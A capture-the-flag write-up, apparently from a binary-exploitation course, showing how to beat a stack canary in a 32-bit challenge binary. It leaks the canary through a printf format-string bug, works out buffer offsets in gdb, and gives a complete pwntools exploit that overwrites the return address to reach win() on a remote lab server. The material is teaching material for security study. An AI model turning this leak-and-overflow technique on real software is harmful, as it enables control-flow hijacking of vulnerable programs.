canary

This problem is the first instance where the stack protector, called the **canary** is enabled. We need to figure out how to beat that canary to still perform a buffer overflow.

When we run `checksec` on the binary, we notice that the canary is enabled.

```
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/04-canaries/canary/src/canary'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

PIE is still disabled, meaning we can still use the same techniques we used in the previous binary. However, we can't use the same techniques to overflow the stack. Let's see what happens when we try to overflow the stack.

```
$ python -c "print('A'*1000)" | ./canary
Hello, what is your name?
...
How can I help you today?
*** stack smashing detected ***: terminated
zsh: done                                python3 -c "print('A' * 1000)" |
zsh: IOT instruction (core dumped)  ./canary
```

There is a **stack smashing detected** statement in the output, indicating that we overwrote the canary. We need to determine how to beat the canary, and then we will proceed as normal.

Static Analysis

It seems that our main functions are `main`, `read_in`, and `win`.

- `win` seems to only print the contents of the flag.
- `main` immediately calls `read_in`, then has a `puts` statement. We can use `gdb` to show that reads "You lose!".

`read_in` does a list of things, so let's break it down further. Checking the arguments as we scroll through `gdb`:

- `puts("Hello, what is your name?")`

  ```
  puts@plt (
    [sp + 0x0] = 0x0804a008 → "Hello, what is your name?"
  ```

```
)
```

- `gets(ebp-0x4c)`

```
gets@plt (
 [sp + 0x0] = 0xffffd54c → 0xf7fc66d0 → 0x0000000e
)
```

- `printf(ebp-0x4c)`

```
printf@plt (
 [sp + 0x0] = 0xffffd54c → 0xf7006968 ("hi"?)
)
```

- `puts("How can I help you today?")`

```
puts@plt (
 [sp + 0x0] = 0x0804a023 → "How can I help you today?"
)
```

- `gets(ebp-0x4c)`

```
gets@plt (
 [sp + 0x0] = 0xffffd54c → 0xf7006968 ("hi"?)
)
```

After this last check, we see that the canary check is made:

```
0x08049283 <+189>:  mov    eax,DWORD PTR [ebp-0xc]
0x08049286 <+192>:  sub    eax,DWORD PTR gs:0x14
0x0804928d <+199>:  je     0x8049294 <read_in+206>
0x0804928f <+201>:  call   0x8049310 <__stack_chk_fail_local>
```

From this, we gather a few things:

- We write to the same buffer both times that we write to memory.
- The format string vulnerability in the first read means that we can leak the canary.
- The existence of a second read means we can pass in a second payload that uses the canary to pass the check, then performs a buffer overflow.
- The canary is stored at `ebp-0xc`.

Payload Part 1: Leaking the Canary

We know the canary is stored on the stack at `ebp-0xc`. We will use a format string to leak the canary to standard output, and then pass that canary to the second payload.

There are two ways to find the offset on the stack that the canary is stored at:

1. Use `gdb` to set a breakpoint before the `gets` call, then count the number of DWORD frames between the stack pointer and canary.
2. Check the location of the stack pointer at the start of the `read_in` function, account for the number of operations on the stack pointer, then count the number of DWORD frames between the stack pointer and canary.

The first one is by far easier and more practical.

```
gef➤  canary
[+] The canary of process 44910 is at 0xffffd80b, value is 0x8fdba200
gef➤  x/40wx $esp
0xffffd530: 0xffffd54c  0x00000001  0xf7ffda40  0x080491d2
0xffffd540: 0xf7fc4540  0xffffffff  0x08048034  0xf7fc66d0
0xffffd550: 0xf7ffd608  0x00000020  0x00000000  0xffffd750
0xffffd560: 0x00000000  0x00000000  0x01000000  0x0000000b
0xffffd570: 0xf7fc4540  0x00000000  0xf7c184be  0xf7e2a054
0xffffd580: 0xf7fbe4a0  0xf7fd6f80  0xf7c184be  0x8fdba200
0xffffd590: 0xffffd5d0  0x0804c000  0xffffd5a8  0x080492b8
0xffffd5a0: 0xffffd5c0  0xf7e2a000  0xf7ffd020  0xf7c21519
0xffffd5b0: 0xffffd82e  0x00000070  0xf7ffd000  0xf7c21519
0xffffd5c0: 0x00000001  0xffffd674  0xffffd67c  0xffffd5e0
```

`gdb` tells us that the canary is at `0xffffd80b`. If we count from our location to the canary, we see that it is 23 DWORDs away. We can verify this using the format string:

```
$ ./canary
Hello, what is your name?
%23$x
6de5f500
```

This appears to work! Let's turn this into a `pwntools` script:

```
p.recvline()
p.sendline(b'%23$x')
canary = int(p.recvline().strip(), 16)
```

Payload Part 2: Overflowing the Buffer

Now that we have the canary, we can use this to overflow the buffer. We need to do this in two steps:

1. Write data until we reach the canary, and then write the canary to the stack (so it doesn't get modified).
2. Write data from the canary to the return pointer, then overwrite the return pointer with the address of `win()`.

We discussed earlier that the canary is stored at `ebp-0xc`. Based on the argument passed to `gets()`, we start writing at `ebp-0x4c`. This means that we need to write `0x40=64` bytes of data before we reach the canary.

Our payload here could look like this:

```
payload = b'A' * 0x40
payload += p32(canary)
```

Then, we need to write from the canary to the return pointer. The canary sits at `ebp-0xc`, and the return pointer always sits at `ebp+0x4` (because the base pointer is at `ebp+0x0`). Remember that the canary takes four bytes itself, meaning we start to write at `ebp-0x8`. This means we need to write `0xc` bytes of data to reach the return pointer.

Our payload here could look like this:

```
payload += b'B' * 0xc
payload += p32(win)
```

> *Why did I use "B" this time?* I can use any value to fill the empty space. I choose to use a different value for debugging purposes. In the case that my payload is wrong, it's easier to tell if I overfilled or underfilled the buffer by using two different values.

From here, we put it all together into one large payload, and send it off!

```
from pwn import *

proc = remote('vunrotc.cole-ellis.com', 4100)

# leak the canary
payload = b'%23$p'
print(proc.recvline())
proc.sendline(payload)

# get output to store the canary
leak = proc.recvline().strip()
leak = int(leak.decode(), 16)
print(proc.recvline())

print("Canary Leaked:", hex(leak))

# build the payload with the canary
```

```
payload = b'A' * 0x40
payload += p32(leak)
payload += b'A' * 0xc
payload += p32(0x080492d9)

proc.sendline(payload)
proc.interactive()
```

Running this gets us our flag.